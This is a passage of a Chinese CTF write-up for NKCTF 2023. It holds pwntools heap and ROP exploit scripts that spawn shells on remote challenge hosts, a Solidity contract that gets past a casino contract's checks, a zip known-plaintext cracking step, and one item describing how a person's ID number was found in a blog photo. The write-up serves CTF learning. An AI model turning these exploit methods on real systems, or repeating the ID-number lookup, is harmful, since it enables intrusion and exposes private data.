#p2 = p64(0) * 7 + p64(0x51) + p64(key ^ free_hook) + p64(0)
p2 = b'b' * (8 * 7) + p64(0x51) + p64(key ^ free_hook) + b'\n'
edit(1, p2)
add(15, 0x40)
delete(4)
add(4, 0x40)
edit(4, p64(one_gadget) + b'\n')
delete(0)
r.interactive()
ByteDance
hctf2018 heapstrom_zero一样,改改exp就行了
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
r = process('./pwn02')
bin = ELF('./pwn02',checksec=False)
libc = ELF('./2.23/libc-2.23.so',checksec=False)
else:
r = remote('node2.yuzhian.com.cn', 38908)
libc = ELF('./2.23/libc-2.23.so',checksec=False)
pass
def z(a=''):
gdb.attach(r,a)
if a == '':
raw_input()
# result = (unsigned int)(a1 - 1) <= 0x37;
def add(size,con):
r.recvuntil('Choice:')
r.sendline('1')
r.recvuntil('size:')
r.sendline(str(size))
r.recvuntil('content:')
r.sendline(con)
def view(idx):
r.recvuntil('Choice:')
r.sendline('2')
r.recvuntil('index:')
r.sendline(str(idx))
def dele(idx):
r.recvuntil('Choice:')
r.sendline('3')
r.recvuntil('index:')
r.sendline(str(idx))
def triger_consolidate(pay=''):
r.recvuntil('Choice:')
if pay=='':
r.sendline('1'*0x400)#malloc_consolidate
add(0x38,'a')#0
add(0x28,'a')#1
add(0x28,'a')#2
add(0x18,'a')#3
add(0x18,'a')#4
add(0x38,'x')#5
add(0x28,'x')#6
add(0x38,'x')#7
add(0x38,'x')#8
add(0x38,'x')#9
pay = b'a'*0x20+p64(0x200)+p64(0x20)
add(0x38,pay)#10
add(0x38,'end')#11
for i in range(1,11):
dele(i)
# z('b malloc\ndir ~/Glibc/glibc-2.23/stdio-common/\ndir ~/Glibc/glibc-2.23/malloc/\nc')
triger_consolidate()
dele(0)
pay = 'a'*0x38
add(0x38,pay)#0
add(0x38,'a'*8)#1
add(0x38,'b'*8)#2
add(0x38,'c'*8)#3
add(0x38,'x')#4
add(0x38,'x')#5
add(0x28,'x')#6
add(0x38,'x')#7
add(0x38,'x')#8
dele(1)
dele(2)
dele(3)
triger_consolidate()
dele(11)
triger_consolidate()
add(0x28,'a')#1
add(0x28,'a')#2
add(0x18,'a')#3
add(0x18,'a')#9
add(0x38,'1'*0x30)#10
add(0x38,'2'*0x30)#11
add(0x28,'3'*0x30)#12
add(0x38,'4'*0x30)#13
add(0x38,'5'*0x30)#14
pay = b'a'*0x20+p64(0x200)+p64(0x20)
add(0x38,pay)#15
add(0x38,'end')#16
dele(1)
dele(2)
dele(3)
for i in range(9,16):
dele(i)
triger_consolidate()
dele(0)
pay = 'a'*0x38
add(0x38,pay)#0
add(0x38,'a'*8)#1
add(0x38,'b'*8)#2
add(0x38,'c'*8)#3
view(4)
r.recvuntil('Content: ')
lbase = u64(r.recvuntil('\n')[:-1].ljust(8,b'\x00'))-0x3c4b20-88
success('lbase: '+hex(lbase))
dele(1)
dele(2)
dele(3)
triger_consolidate()
add(0x18,'A'*0x10)#1
add(0x28,'B'*0x20)#2
add(0x38,'C'*0x30)#3
add(0x18,'D'*0x10)#9
pay = p64(0)+p64(0x41)
add(0x18,pay)#6
add(0x28,'asd')
add(0x38,'zxc')#5,c
add(0x28,'qqq')#6,d
add(0x38,'a1')#14
add(0x28,'a2')#15
#fastbin dup
dele(5)
dele(14)
dele(0xc)
dele(6)
dele(15)
dele(0xd)
add(0x28,p64(0x41))
add(0x28,'a')
add(0x28,'a')
add(0x38,p64(lbase+0x3c4b20+8))
add(0x38,'a')
add(0x38,'a')
add(0x38,p64(lbase+0x3c4b20+8+0x20)+b'\x00'*0x10+p64(0x41))
add(0x38,b'\x00'*0x20+p64(lbase+libc.sym['__malloc_hook']-0x18))
add(0x18,'a'*0x18)
add(0x18,p64(lbase+0xf03a4)*2)
r.recvuntil('Choice:')
r.sendline('1')
r.recvuntil('size:')
r.sendline(str(0x18))
r.interactive()
note
漏洞点在于idx越界,导致可以越界读写,实现任意地址写stderr
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256
p = remote("ctf.comentropy.cn","8304")
# p = process("./nk_note")
elf = ELF("./nk_note")
libc = elf.libc
context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']
def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
def add(idx,size,con):
sla("your choice: ",1)
sla("Index: ",idx)
sla("Size: ",size)
p.sendafter("Content: ",con)
def edit(idx,size,con):
sla("your choice: ",2)
sla("Index: ",idx)
sla("Size: ",size)
p.sendafter("Content: ",con)
def dele(idx):
sla("your choice: ",3)
sla("Index: ",idx)
def show(idx):
sla("your choice: ",4)
sla("Index: ",idx)
free = 0x523E
ptr = 0x40A0
add(0,0x10,'aaa')
edit(0,0x1e0,'a'*0x1e0)
show(0)
ru('a'*0x1e0)
heap_base = uu64()
lg("heap_base")
edit(0x207,0x10,'a'*9)
show(0x207)
libc_base = l64()-0x09a761
lg("libc_base")
edit(0x207,0x10,'\x00'*9)
stderr_use = libc_base + 0x098120
system_addr = libc_base + 0x43c7c
add(1,0x7d0,'aaa')
add(1,0x7d0,'aaa')
add(1,0x7d0,'aaa')
add(1,0x7d0,'aaa')
edit(0x10,0x10,'a'*0x10)
show(0x10)
ru('a'*0x10)
base = uu64()-0x4120
lg("base")
edit(0x10,0x10,p64(heap_base-0x0001b8)*2)
# dbg()
edit(1,0x10,p64(stderr_use))
edit(0x14,0x50,"/bin/sh\x00"+"A"*0x20+p64(1)+'a'*8+p64(0)+'a'*8+p64(system_addr))
sl(5)
ia()
a_story_of_a_pwner
漏洞点在于选项4的栈溢出,构造栈迁移执行rop链,由于size限制,所以rop链构造在love_comment的上方
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256
p = remote("node.yuzhian.com.cn","32506")
# p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']
def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
read = 0x401387
sla(">",4)
ru("I give it up, you can see this. 0x")
libc_base = int16(p.recv(12))-libc.sym['puts']
lg("libc_base")
one = libc_base + 0xe3b04
pop_rdi = 0x0000000000401573
bin_sh = libc_base + libc.search('/bin/sh\x00').next()
system = libc_base + libc.sym['system']
lg("system")
ret = 0x000000000040101a
stack = libc_base + libc.sym['environ']
love_comment = 0x4050A0-0x10
sla(">",1)
sla("what's your comment?",'a'*8)
sla(">",2)
sla("what's your corment?",'a'*8)
sla(">",3)
sla("what's your corMenT?",p64(system))
sla(">",4)
# dbg()
sa("now, come and read my heart...",'a'*0xa+p64(love_comment)+p64(read))
pay = 'a'*0xa+p64(love_comment+0xa)+p64(read)
s(pay.ljust(0x20,'\x00'))
pay = p64(0)+p64(ret)+p64(pop_rdi)+p64(bin_sh)
s(pay.ljust(0x20,'\x00'))
ia()
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
only_read
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=process("./pwn")
p=remote("node2.yuzhian.com.cn",32451)
a="V2VsY29tZSB0byBOS0NURiE="
b="dGVsbCB5b3UgYSBzZWNyZXQ6"
c="SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45"
d="Y2FuIHlvdSBmaW5kIG1lPw=="
p.send(a)
pause()
p.send(b)
pause()
p.send(c)
pause()
p.send(d)
pause()
pop_rbx_p5=0x40167A
change_read=0x000000000040117c
read_got=0x404028
offset=0xFFFFFFFFFFFD5B3E
payload=b"a"*48+p64(read_got+0x3d)+p64(pop_rbx_p5)+p64(offset)+p64(read_got+0x3d)+p64(0)*4+p64(change_read)+p64(0x040146E)
p.sendline(payload)
p.interactive()
Blockchain
SignIn
简单签到,找到合约创建的第一个交易,然后看一下状态变更
NKCTF{W3c0me_to_NKCTF2023}
HelloWorld
contract HelloWorld {
string greeting;
constructor(string memory _greeting) public {
greeting = _greeting;
}
function greet() public view returns (string memory) {
return greeting;
}
function setGreeting(string memory _greeting) public {
greeting = _greeting;
}
function isSolved() public view returns (bool) {
string memory expected = "Hello,NKCTF2023";
return keccak256(abi.encodePacked(expected)) == keccak256(abi.encodePacked(greeting));
}
}
传入字符串”Hello,NKCTF2023”,获得flag: NKCTF{Hel1o_Solidity!!!}
decompile_revenge
https://sepolia.etherscan.io/tx/0x2ee2f0d8d4514955dcf84cc5f5e68838ac37a526e45fed6a6c040291cfd5659b
反编译合约
# Palkeoramix decompiler.
def storage:
stor0 is uint256 at storage 0
stor1 is uint256 at storage 1
stor2 is uint256 at storage 2
stor3 is uint256 at storage 3
def _fallback() payable: # default function
revert
def unknownbb6f4291(array _param1) payable:
require calldata.size - 4 >=′ 32
require _param1 <= 18446744073709551615
require _param1 + 35 <′ calldata.size
require _param1.length <= 18446744073709551615
require _param1 + _param1.length + 36 <= calldata.size
if _param1.length != 36:
revert with 0, 'flag length error'
require 9 <= _param1.length
hash = sha256hash(call.data[_param1 + 36 len 9]) # precompiled
if not sha256hash.result:
revert with ext_call.return_data[0 len return_data.size]
require return_data.size >=′ 32
require hash == hash
if stor0 != hash:
revert with 0, 'flag1 error'
require 18 <= _param1.length
hash = sha256hash(call.data[_param1 + 45 len 9]) # precompiled
if not sha256hash.result:
revert with ext_call.return_data[0 len return_data.size]
require return_data.size >=′ 32
require hash == hash
if stor1 != hash:
revert with 0, 'flag2 error'
require 27 <= _param1.length
hash = sha256hash(call.data[_param1 + 54 len 9]) # precompiled
if not sha256hash.result:
revert with ext_call.return_data[0 len return_data.size]
require return_data.size >=′ 32
require hash == hash
if stor2 != hash:
revert with 0, 'flag3 error'
require 36 <= _param1.length
hash = sha256hash(call.data[_param1 + 63 len 9]) # precompiled
if not sha256hash.result:
revert with ext_call.return_data[0 len return_data.size]
require return_data.size >=′ 32
require hash == hash
if stor3 != hash:
revert with 0, 'flag4 error'
return 1
把flag分成4部分,哈希校验,然后还贴心的给了个http://blockchain.247533.top:10030
四个哈希扔进去完事(
NKCTF{This_1s_Decompile_Rev3nge!!!!}
NKCasino
区块链经典问题之熵的产生(
随机数可控,被攻击合约做了检测,但没有完全检测
pragma solidity 0.8.7;
contract NKCasino{
mapping (address=>uint) public balances;
mapping (address=>bool) public isWin;
constructor() payable { }
function playGuessGame(uint _guessNum,address _player) external payable {
uint256 size;
assembly { size := extcodesize(_player) }
require(size == 0, "Only EOA can play this game.");
require(msg.value == 0.1 ether,"The game only need 0.1 eth");
uint random = uint(keccak256(abi.encodePacked(block.difficulty, block.timestamp, msg.sender))) % 2;
if (random == _guessNum) {
balances[_player] += 0.2 ether;
isWin[_player] = true;
}else if (!isWin[_player]) {
uint temp = balances[_player];
balances[_player] = 0;
address(this).call{value: temp}("");
}
}
function gotPrize(address _player) public {
require(isWin[_player], "You got the prize or not play or lose the game.");
_player.call{value: balances[_player]}("");
isWin[_player] = false;
}
function isSolved() public view returns(bool) {
return address(this).balance == 0 ether;
}
receive() external payable { }
}
size := extcodesize(_player)
检测发送方是否为合约账户,合约账户的extcodesize不为0,但是在合约运行构造函数的时候,他的extcodesize为零,因此可以用构造函数来绕过(,复盘的时候发现这个_player
不是msg.sneder
,可以自己随便输入(
攻击合约:
contract Pwn {
uint random;
constructor (address _target) payable {
require(msg.value == 1 ether);
random = uint(keccak256(abi.encodePacked(block.difficulty, block.timestamp, msg.sender))) % 2;
for(uint i; i < 10; i++){
(bool success, ) = payable(_target).call{value: 0.1 ether}( //这个需要打十次
abi.encodeWithSignature("playGuessGame(uint256,address)", random,address(0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB))
);
require(success,"ERROR!");
}
}
}
Social Engineering
狂飙
抖音搜索相关信息
NKCTF{广东省江门市蓬江区莲平路}
两个人的夜晚
直接搜索图中的NCC新城市中心即可
Bridge
本题可以直接通过谷歌以图识图进行识别
同时我们可以注意到旁边似乎有人行栈道,结合上面的信息可以直接通过谷歌找到些信息,大致定位在海南海口龙华区世纪大桥的世纪公园
最后flag为:NKCTF{海南省海口市龙华区世纪公园}
Ferris_Wheel
百度搜图,发现在永州,仔细看图片中的文字,应该是永川里奥特莱斯。搜索关键字,发现地址。图中的摩天轮为渝西之眼。尝试多次后最后得到结果为NKCTF{重庆市永川区兴龙湖CBD永川里奥特莱斯渝西之眼摩天轮}
real-social-engineering
https://tacooo0o.github.io/2021/12/31/2021%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93-1/#%E6%80%BB%E7%BB%93
发现这篇文章,中间有一张图:
获得身份证号
旅程的开始
搜索图片里的酒店,获得地址。
改成1号就行获得了flag
The other bridge
根据题目名称,试了很多次,是下面这个答案
NKCTF{重庆市渝中区嘉陵江畔戴家巷崖壁步道}
decompile
这题和BlockChain的decompile_revenge
一模一样
http://blockchain.247533.top:10030
四个哈希扔进去
https://goerli.etherscan.io/tx/0x0068a5106a4838bbe226b2a25dd28bacb919f748c98ab8797d115c84eb78eea6#statechange
NKCTF{N0w_you_kn0w_d3compl1te_bytecode}
MISC
easy_bmp
bmp 改宽高就行了。叫宽的图片改宽度,叫高的图片改高度。压缩包解出来之后把宽高改成360就能拿到二维码,扫一下就行了。
三体
2020年就有的东西了,脚本一把梭:
from PIL import Image
def decode(im):
width,height = im.size
lst = []
for y in range(height):
for x in range(width):
red,green,blue = im.getpixel((x,y))
if(blue | green | red) == 0:
break
index = (green<<8) + blue
lst.append(chr(index))
return ''.join(lst)
if __name__=='__main__':
all_text = decode(Image.open("out.bmp","r"))
with open ("decode.text","w",encoding = "utf-8") as f:
f.write(all_text)
misc?iot!
smt32 板子的逆向咋会放在 misc……
#include<stdio.h>
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
k[i] = key[i % Len_k];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
}
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k)
{
unsigned char s[256];
rc4_init(s, key, Len_k);
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k < Len_D; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] = Data[k] ^ s[t];
}
}
void main()
{
unsigned char key[] = "NKCTF2023";
unsigned long key_len = sizeof(key) - 1;
unsigned int v1[5];
v1[0] = 0xE2025F24;
v1[1] = 0x6CA7A087;
v1[2] = 0xDA752A07;
v1[3] = 0xD7578A3F;
v1[4] = 0x1F1A;
rc4_crypt(v1, sizeof(data), key, key_len);
char* ff = (char*)v1;
for (int i = 0; i < 18; i++)
{
printf("%c", ff[i]);
}
printf("\n");
return;
}
THMaster
题目本体是出题人写了一个C#程序来检测游戏进程,通过对比游戏难度以及分数来对文件的AES进行解密
因为C#是可以直接看到源码然后修改之后重新打包的,我们修改后将其放到原来EXE的路径下运行,随便打点分数就可以解锁flag了
解密后我们将解密文件拖入010或者是其他软件能看内容就行
翻到最后可以看到flag:NKCTF{U_R_re411y_g00d_At_p14ying_t0h0u}
blue
下载到三个镜像
7-ZIP直接打开vmdk文件,然后翻文件
\Windows_Server_2008-disk1.vmdk\Users\Administrator\
路径下找到 flag.txt
hard-misc
将题目信息进行base32解密
在N0wayBack公众号上回复 NKCTF2023我来了!
得到flag NKCTF{wtk2023Oo0oImcoM1Ng!23555647}
easy_rgb
拼图密钥:key:NKCTF2023
,解压
r.txt g.txt b.txt循环读取转hex存储,是压缩包,虽然文件损坏,但是不影响
flag.txt解密,根据提示AES-128
easy_word
按照提示写脚本
import hashlib
string = 'h??vO??0'
for i in '0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM':
for j in '0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM':
for k in '0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM':
for l in '0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM':
string_try = string.replace('?', i, 1).replace('?', j, 1).replace('?', k, 1).replace('?', l, 1)
hash_object = hashlib.sha256(string_try.encode())
hex_dig = hash_object.hexdigest()
print(f"string_try = {string_try}, sha256 = {hex_dig[0:8]}")
得到密码h43vOF90
解压,word里面有图片,修改后缀为zip然后解压
first_spam
搜文件内容,找到了加密:https://spammimic.com/
佛曰:
佛曰:栗楞穆婆悉遮俱吉室嚧无佛吉埵沙他蒙蒙唎皤啰烁伽驮数迦帝楞萨那摩度驮伽度耶萨那曳喝写怛钵遮耶烁埵室摩迦尼菩呼阇栗墀豆哆烁利吉舍阿萨俱夜嚧蒙喝喝诃罚悉阇喝无数那迦陀室沙穆皤南陀娑利烁输夜输参陀数醯诃提耶钵遮夜栗谨伽俱菩度咩烁室醯迦输诃度唎阇钵无羯栗提摩谨咩悉哆阇室悉钵楞那他伽啰伊耶谨那尼那呼伊罚卢输南喝豆娑伽唎醯嚧那嚧羯摩吉参喝那阿地墀数陀楞啰孕罚度醯菩萨埵埵栗他穆菩参舍迦羯沙啰吉尼楞怛尼孕苏地遮苏提曳谨阇那啰阇南曳输曳伊苏伊度啰咩提苏他他娑驮俱婆钵室利烁俱伽写利羯悉阇遮皤佛南悉阿帝萨喝悉阇参参楞罚皤苏喝墀诃他吉伽提利尼埵啰输嚧醯婆伽墀菩唎娑谨他怛写沙伽啰烁摩栗埵伊啰俱楞帝写地卢利怛吉帝陀阿唵伊伽谨曳阇羯娑羯嚧埵唎烁楞喝曳输他阿室钵谨啰楞他呼娑喝菩哆蒙穆诃婆烁他夜孕穆诃钵佛参室悉舍萨穆室遮阿喝啰伽耶喝漫
新旧佛曰都解不出,怀疑有key与佛论禅加密版 (by950.top)
后面的社会主义核心价值观编码:
rabbit 又 move
猜密钥,怀疑是NKCTF之类的,答案不对,题目是rabbit year
粘贴出来解密发现有问题,怀疑是零宽:
&.......auD5.......v'<).......`h.......{dF6C_*'Jrcqzrh&ZaF>`g^.......Hr'}vuHZJB.......%~}_H5?gu.......;q.......)"<rA?{sH2{IfafKfu=6w_tip:47&13
先解密零宽:
Unicode Steganography with Zero-Width Characters (mzy0.com)
按照密文tip:47&13
,还有move,怀疑是rot13和47 EnoOoO1G
的rot13是RabBbB1T
对密文rot47解密
rabbit解密:
NKCTF{H4Ppy_tH3_Y34r_0f_R4BbBbbbB1tTtTtT}
music1
搜这串字符串发现是原题。。。
按照步骤复现即可
music2
有明显规律,27作为分割,10 11出现,怀疑二进制,11是1 10是0
处理一下然后二进制解码,再转hex。是压缩包
下面有注释,解密后:
WELCOMETONKCTF_THEPASSWORDIS16BYTESRANDOMLYGENERATED_ISTHEREABETTERWAYTOUNLOCKTHEZIP!
16bytes randomly generated
is there a better way to unlock the zip!
已知加密压缩包的文件内容及格式,可以用明文爆破
./bkcrack -C flag.zip -c flag.png -p flag
flag为png文件头文件。
得到三段密钥:846ad344 02327731 173ff347
./bkcrack-C flag.zip -c flag.png -k 846ad344 02327731 173ff347 -d flag1.png